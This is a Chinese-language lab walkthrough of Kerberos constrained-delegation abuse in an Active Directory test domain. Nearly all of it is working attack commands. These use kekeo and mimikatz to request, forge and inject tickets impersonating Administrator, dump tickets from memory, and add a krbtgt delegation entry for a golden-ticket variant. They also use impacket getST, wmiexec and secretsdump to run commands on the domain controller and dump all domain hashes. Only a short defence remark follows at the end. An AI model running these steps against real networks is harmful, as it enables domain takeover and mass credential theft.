環境
域: test.com
域控:Windows server 2012R2
, 主機名: AD
, IP: 192.168.1.7
域內主機:系統:windows 2012R2
,主機名:HyyMbb
,ip:192.168.1.22
被委派用戶test
測試用戶test1
操作步驟
我們需要提前知道的信息
被委派用戶的明文密碼或者ntml
密碼:123!@#qwe
ntml:e5ae562ddfaa6b446c32764ab1ebf3ed
1、已經知道服務用戶明文的條件下,我們可以用kekeo
請求該用戶的TGT
tgt::ask /user:test /domain:test.com /password:123!@#qwe /ticket:test.kirbi
我們知道NTML
也可以生成TGT
tgt::ask /user:test /domain:test.com /NTLM:e5ae562ddfaa6b446c32764ab1ebf3ed
參數:
/user
: 服務用戶的用戶名(即設置的被委派的用戶)
/password
: 服務用戶的明文密碼
/domain
: 所在域名
/ticket
: 指定票據名稱,不過這個參數沒有生效,可以忽略
得到服務用戶TGT:[email protected][email protected]
2、然後我們可以使用這張TGT
通過僞造s4u
請求以administrator
用戶身份請求訪問AD(域控) CIFS的ST
tgs::s4u /tgt:TGT_test@TEST.COM_krbtgt~test.com@TEST.COM.kirbi /user:Administrator@test.com /service:cifs/AD.test.com
S4U2Self
獲取到的ST1
以及S4U2Proxy
獲取到的dm08 CIFS
服務的ST2
會保存在當前目錄下
3、然後我們用mimikatz
(kekeo
也可以)將ST2
導入當前會話即可
kerberos::ptt TGS_Administrator@test.com@TEST.COM_cifs~AD.test.com@TEST.COM.kirbi
成功訪問到AD
的cifs
服務
注:
如果我們不知道服務用戶的明文和NTLM Hash
,但是我們有了服務用戶登陸的主機權限(需要本地管理員權限
),我們可以用mimikatz
直接從內存中把服務用戶的TGT dump
出來
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
這樣我們就能跳過第一步,直接進行二三步驟就可以了~~
利用約束委派打造變種黃金票據
環境
域: HYYMBB.com
域控:Windows server 2008R2
, 主機名: AD
, IP: 192.168.1.23
域內主機:系統:windows 2012R2
,主機名:win2012
,ip:192.168.1.22
被委派用戶test
測試用戶test1
這個實驗我復現的時候在win2012
的域控上未成功,據說是2012 及以後的KDC,受限委派的時候用的機制變成了 Resource Based Constrained Delegation
所以這個只能適用於win2008
版本之前的(包括win2008)
我們都知道TGT的生成是由krbtgt
用戶加密和簽名的,如果我們能委派域上的用戶去訪問TGS,那麼就可以僞造任意用戶的TGT了,黃金票據通常情況下我們是用krbtgt
的hash
來僞造TGT
,不過我們通過約束委派也能達到同樣的效果。
krbtgt
默認是禁用的而且無法啓用,所以我們無法使用界面來添加這個SPN
我們可以使用powershell
來添加
Import-Module ActiveDirectory
$user = Get-ADUser test
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/HYYMBB.com") }
這兒多說一句,有的同學發現一些用戶屬性沒有委派的選項,那是因爲這時的用戶還不是服務賬號,我們可以用系統的自帶工具setspn
來綁定spn
setspn -A test/test 用戶名
更詳細的用法請自行百度
注:域控默認安裝ActiveDirectory,如果沒有安裝,可以下載dll:下載地址,然後導入就行了:import-module .\Microsoft.ActiveDirectory.Management.dll
我們獲得的test
用戶的信息
密碼:123!@#qwe
NTML:e5ae562ddfaa6b446c32764ab1ebf3ed
1、我們可以用impacket
系列的getST
向KDC請求administrator
的TGT
getst.exe -dc-ip 192.168.1.23 -spn krbtgt/HYYMBB.com -impersonate Administrator HYYMBB.com/test:123!@#qwe
參數:
-impersonate
:表示僞造用戶
-spn
:表示我們要委派的服務的spn,這裏是TGS
-dc-ip
:域控ip
執行之後會在當前目錄生成一個緩存文件Administrator.ccache
2、注入ptc
(pass the cache)
kerberos::ptc Administrator.ccache
在當前終端退出後就可以訪問域控了
3、執行命令
執行命令的話我們可以用impacket
系列或者powershell
都可以
這兒我們使用impacket
中的wmiexec.exe
set KRB5CCNAME=Administrator.ccache
wmiexec.exe -no-pass -k administrator@AD.HYYMBB.com -dc-ip 192.168.1.23
導出域控上所有用戶以及主機的hash
set KRB5CCNAME=Administrator.ccache
secretsdump.exe -no-pass -k AD.HYYMBB.com
防禦
1、高權限用戶沒有在特殊要求之下設置爲不可委派
爲了防止憑據被盜微軟推出了Protected Users
組,適用於Windows Server 2016
,Windows Server 2012 R2
、 Windows Server 2012